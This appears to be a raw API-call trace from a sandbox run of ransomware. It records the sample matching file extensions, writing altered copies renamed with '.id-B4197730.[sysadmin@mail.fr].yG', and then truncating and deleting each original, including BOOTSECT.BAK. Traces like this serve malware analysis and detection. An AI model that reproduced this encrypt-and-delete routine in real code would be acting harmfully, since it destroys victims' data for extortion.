	[0044.380] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.380] lstrlenW (lpString=".1cd") returned 4
	[0044.380] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.380] lstrlenW (lpString=".jpg") returned 4
	[0044.380] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.380] lstrcmpiW (lpString1=".bmp", lpString2=".yG") returned -1
	[0044.380] lstrlenW (lpString="header.bmp") returned 10
	[0044.380] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0044.381] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3628) returned 1
	[0044.381] CloseHandle (hObject=0x2e0) returned 1
	[0044.381] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80
	[0044.381] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.381] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0044.381] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.381] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.381] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0044.382] GetLastError () returned 0x0
	[0044.382] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xe2c, lpOverlapped=0x0) returned 1
	[0044.775] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe30, lpOverlapped=0x0) returned 1
	[0044.776] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.776] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0044.776] SetEndOfFile (hFile=0x350) returned 1
	[0044.776] CloseHandle (hObject=0x350) returned 1
	[0044.777] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.777] SetEndOfFile (hFile=0x2e0) returned 1
	[0044.778] CloseHandle (hObject=0x2e0) returned 1
	[0044.778] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.778] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1
	[0044.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.778] lstrlenW (lpString=".doc") returned 4
	[0044.778] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0044.778] lstrlenW (lpString=".docx") returned 5
	[0044.778] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1
	[0044.778] lstrlenW (lpString=".pdf") returned 4
	[0044.778] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0044.778] lstrlenW (lpString=".xls") returned 4
	[0044.778] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0044.778] lstrlenW (lpString=".xlsx") returned 5
	[0044.778] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1
	[0044.778] lstrlenW (lpString=".ppt") returned 4
	[0044.778] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0044.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.778] lstrlenW (lpString=".zip") returned 4
	[0044.779] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString=".rar") returned 4
	[0044.779] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString=".bz2") returned 4
	[0044.779] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString=".7z") returned 3
	[0044.779] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0044.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.779] lstrlenW (lpString=".dbf") returned 4
	[0044.779] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.779] lstrlenW (lpString=".1cd") returned 4
	[0044.779] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0044.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.779] lstrlenW (lpString=".jpg") returned 4
	[0044.779] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.779] lstrlenW (lpString=".doc") returned 4
	[0044.779] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString=".docx") returned 5
	[0044.779] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1
	[0044.779] lstrlenW (lpString=".pdf") returned 4
	[0044.779] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString=".xls") returned 4
	[0044.779] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString=".xlsx") returned 5
	[0044.779] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1
	[0044.779] lstrlenW (lpString=".ppt") returned 4
	[0044.779] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.779] lstrlenW (lpString=".zip") returned 4
	[0044.779] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString=".rar") returned 4
	[0044.779] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0044.779] lstrlenW (lpString=".bz2") returned 4
	[0044.779] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0044.780] lstrlenW (lpString=".7z") returned 3
	[0044.780] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0044.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.780] lstrlenW (lpString=".dbf") returned 4
	[0044.780] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0044.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.780] lstrlenW (lpString=".1cd") returned 4
	[0044.780] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0044.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0044.780] lstrlenW (lpString=".jpg") returned 4
	[0044.780] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0044.780] lstrcmpiW (lpString1=".bmp", lpString2=".yG") returned -1
	[0044.780] lstrlenW (lpString="watermark.bmp") returned 13
	[0044.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0044.780] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=104072) returned 1
	[0044.780] CloseHandle (hObject=0x2e0) returned 1
	[0044.780] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80
	[0044.780] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0044.781] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.781] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.781] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0044.781] GetLastError () returned 0x0
	[0044.781] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x19688, lpOverlapped=0x0) returned 1
	[0044.872] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x19690, lpOverlapped=0x0) returned 1
	[0044.875] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.875] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xee, lpOverlapped=0x0) returned 1
	[0044.875] SetEndOfFile (hFile=0x350) returned 1
	[0044.875] CloseHandle (hObject=0x350) returned 1
	[0044.877] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.877] SetEndOfFile (hFile=0x2e0) returned 1
	[0044.878] CloseHandle (hObject=0x2e0) returned 1
	[0044.878] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.879] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1
	[0044.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.879] lstrlenW (lpString=".doc") returned 4
	[0044.879] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0044.879] lstrlenW (lpString=".docx") returned 5
	[0044.879] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1
	[0044.879] lstrlenW (lpString=".pdf") returned 4
	[0044.879] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0044.879] lstrlenW (lpString=".xls") returned 4
	[0044.879] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0044.879] lstrlenW (lpString=".xlsx") returned 5
	[0044.879] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1
	[0044.879] lstrlenW (lpString=".ppt") returned 4
	[0044.879] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0044.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.879] lstrlenW (lpString=".zip") returned 4
	[0044.879] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0044.879] lstrlenW (lpString=".rar") returned 4
	[0044.879] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0044.879] lstrlenW (lpString=".bz2") returned 4
	[0044.879] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0044.879] lstrlenW (lpString=".7z") returned 3
	[0044.879] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0044.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.879] lstrlenW (lpString=".dbf") returned 4
	[0044.879] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.880] lstrlenW (lpString=".1cd") returned 4
	[0044.880] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0044.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.880] lstrlenW (lpString=".jpg") returned 4
	[0044.880] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.880] lstrlenW (lpString=".doc") returned 4
	[0044.880] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString=".docx") returned 5
	[0044.880] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1
	[0044.880] lstrlenW (lpString=".pdf") returned 4
	[0044.880] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString=".xls") returned 4
	[0044.880] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString=".xlsx") returned 5
	[0044.880] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1
	[0044.880] lstrlenW (lpString=".ppt") returned 4
	[0044.880] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.880] lstrlenW (lpString=".zip") returned 4
	[0044.880] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString=".rar") returned 4
	[0044.880] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString=".bz2") returned 4
	[0044.880] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString=".7z") returned 3
	[0044.880] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0044.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.880] lstrlenW (lpString=".dbf") returned 4
	[0044.880] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0044.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.880] lstrlenW (lpString=".1cd") returned 4
	[0044.880] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0044.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0044.880] lstrlenW (lpString=".jpg") returned 4
	[0044.881] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0044.881] lstrcmpiW (lpString1=".BAK", lpString2=".yG") returned -1
	[0044.881] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0044.881] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0044.881] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=8192) returned 1
	[0044.881] CloseHandle (hObject=0x2e0) returned 1
	[0044.881] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27
	[0044.881] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\bootsect.bak.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.881] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1
	[0044.881] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0044.882] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.882] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.882] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\bootsect.bak.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0045.047] GetLastError () returned 0x0
	[0045.047] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x2000, lpOverlapped=0x0) returned 1
	[0045.160] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2010, lpOverlapped=0x0) returned 1
	[0045.161] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0045.161] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0045.161] SetEndOfFile (hFile=0x384) returned 1
	[0045.161] CloseHandle (hObject=0x384) returned 1
	[0045.162] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.162] SetEndOfFile (hFile=0x2e0) returned 1
	[0045.163] CloseHandle (hObject=0x2e0) returned 1
	[0045.163] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x27) returned 1
	[0045.163] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1
	[0045.163] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.163] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.163] lstrlenW (lpString=".doc") returned 4
	[0045.163] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0045.163] lstrlenW (lpString=".docx") returned 5
	[0045.163] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0045.163] lstrlenW (lpString=".pdf") returned 4
	[0045.163] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0045.163] lstrlenW (lpString=".xls") returned 4
	[0045.164] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString=".xlsx") returned 5
	[0045.164] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0045.164] lstrlenW (lpString=".ppt") returned 4
	[0045.164] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.164] lstrlenW (lpString=".zip") returned 4
	[0045.164] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString=".rar") returned 4
	[0045.164] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString=".bz2") returned 4
	[0045.164] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString=".7z") returned 3
	[0045.164] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0045.164] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.164] lstrlenW (lpString=".dbf") returned 4
	[0045.164] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.164] lstrlenW (lpString=".1cd") returned 4
	[0045.164] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0045.164] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.164] lstrlenW (lpString=".jpg") returned 4
	[0045.164] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.164] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.164] lstrlenW (lpString=".doc") returned 4
	[0045.164] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString=".docx") returned 5
	[0045.164] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0045.164] lstrlenW (lpString=".pdf") returned 4
	[0045.164] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString=".xls") returned 4
	[0045.164] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0045.164] lstrlenW (lpString=".xlsx") returned 5
	[0045.164] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0045.164] lstrlenW (lpString=".ppt") returned 4
	[0045.164] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0045.165] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.165] lstrlenW (lpString=".zip") returned 4
	[0045.165] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0045.165] lstrlenW (lpString=".rar") returned 4
	[0045.165] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0045.165] lstrlenW (lpString=".bz2") returned 4
	[0045.165] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0045.165] lstrlenW (lpString=".7z") returned 3
	[0045.165] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0045.165] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.165] lstrlenW (lpString=".dbf") returned 4
	[0045.165] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0045.165] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.165] lstrlenW (lpString=".1cd") returned 4
	[0045.165] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0045.165] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0045.165] lstrlenW (lpString=".jpg") returned 4
	[0045.165] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0045.165] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0045.165] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0045.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0045.595] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=48936) returned 1
	[0045.595] CloseHandle (hObject=0x2e0) returned 1
	[0045.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0045.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.595] lstrlenW (lpString=".doc") returned 4
	[0045.595] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.595] lstrlenW (lpString=".docx") returned 5
	[0045.595] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0045.595] lstrlenW (lpString=".pdf") returned 4
	[0045.595] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.595] lstrlenW (lpString=".xls") returned 4
	[0045.595] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.595] lstrlenW (lpString=".xlsx") returned 5
	[0045.595] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0045.595] lstrlenW (lpString=".ppt") returned 4
	[0045.595] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
